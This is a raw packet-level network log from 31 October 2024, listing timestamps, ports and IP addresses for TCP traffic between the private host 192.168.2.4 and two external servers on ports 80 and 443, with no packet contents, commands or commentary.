Oct 31, 2024 04:16:14.178316116 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.178347111 CET	49843	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.178350925 CET	443	49843	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.230027914 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.230046034 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.230119944 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.230441093 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.230452061 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.830492973 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.830578089 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.833034992 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.833039999 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.833376884 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.835016966 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.835038900 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:14.835100889 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:14.979397058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979432106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979446888 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979492903 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979506969 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979517937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979521036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:14.979527950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979537964 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:14.979542017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979562044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979571104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.979598999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:14.979620934 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:14.984446049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.984464884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.984476089 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.984487057 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:14.984529972 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:14.984546900 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.134085894 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134186983 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134202957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134216070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134232044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134243965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134254932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.134279966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.134279966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.134322882 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.134895086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135004044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135015965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135026932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135065079 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.135099888 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.135407925 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135418892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135428905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135467052 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.135482073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135488987 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.135497093 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135510921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.135564089 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.135564089 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.136311054 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.136369944 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.136380911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.136420965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.136431932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.136434078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.136434078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.136445045 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.136471033 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.136516094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.137324095 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.137640953 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.295774937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295818090 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295838118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295850992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295864105 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295876026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295886993 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295892000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.295892000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.295898914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295911074 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295923948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.295936108 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.295955896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.295988083 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.296550989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296569109 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296581984 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296603918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.296632051 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.296772957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296843052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296854973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296868086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.296894073 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.296926022 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.297183990 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297204018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297216892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297245026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.297278881 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.297307968 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297319889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297336102 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297347069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297358036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.297384977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.297403097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.297419071 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.297446966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.298084974 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298106909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298120022 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298158884 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.298171997 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298180103 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.298186064 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298239946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.298260927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298273087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298290014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.298329115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.298329115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.299021959 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299034119 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299047947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299093008 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.299103022 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299115896 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299114943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.299145937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299156904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299160957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.299170017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299191952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.299215078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.299942970 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299954891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299967051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299998045 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.299998999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.300012112 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.300020933 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.300028086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.300049067 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.300081015 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.314318895 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.314621925 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.314656019 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.314660072 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.314673901 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.314712048 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.314814091 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.315104961 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.315143108 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.315150023 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.318945885 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.318983078 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.318989038 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.318995953 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.319052935 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.429267883 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429337025 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429379940 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429399967 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.429413080 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429457903 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.429462910 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429486990 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429522991 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.429712057 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.429719925 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.429742098 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.429745913 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.443264008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.443274975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.443334103 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.443334103 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470158100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470197916 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470210075 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470221043 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470237970 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470259905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470312119 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470312119 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470312119 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470324039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470336914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470349073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470360994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470379114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470379114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470401049 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470417976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470429897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470463991 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470495939 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470695019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470714092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470725060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470752001 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470786095 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470798969 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470810890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470827103 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.470856905 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.470890999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471131086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471143007 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471154928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471199036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471199036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471210957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471224070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471235991 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471249104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471263885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471287012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471288919 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471354961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471610069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471621037 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471631050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471651077 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471671104 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471702099 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471708059 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471708059 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471714973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.471748114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471779108 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.471988916 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472022057 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472033978 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472047091 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472079039 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472101927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472114086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472124100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472137928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472157955 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472188950 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472210884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472223043 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472234011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472245932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472259045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472291946 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472742081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472754955 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472764969 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472779036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472790956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472806931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472806931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472845078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472875118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472887039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472897053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.472924948 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.472955942 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473210096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473222017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473233938 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473263979 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473294020 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473298073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473311901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473323107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473349094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473381042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473439932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473452091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473463058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473474979 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473486900 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473495960 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473498106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473532915 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473532915 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473550081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473552942 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473563910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.473593950 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.473625898 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474172115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474183083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474195957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474230051 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474260092 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474272013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474283934 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474293947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474307060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474327087 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474358082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474405050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474416971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474427938 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474441051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474452019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474458933 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474497080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474497080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.474509001 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.474555016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.625504017 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.625529051 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.625602961 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.625998020 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:15.626008987 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:15.647934914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.647999048 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648000956 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648014069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648036957 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648047924 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648051977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648068905 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648086071 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648094893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648107052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648133993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648166895 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648176908 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648201942 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648212910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648216963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648241997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648262978 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648294926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648308039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648318052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:15.648334980 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:15.648335934 CET	80	49849	185.215.113.16	192.168.2.4
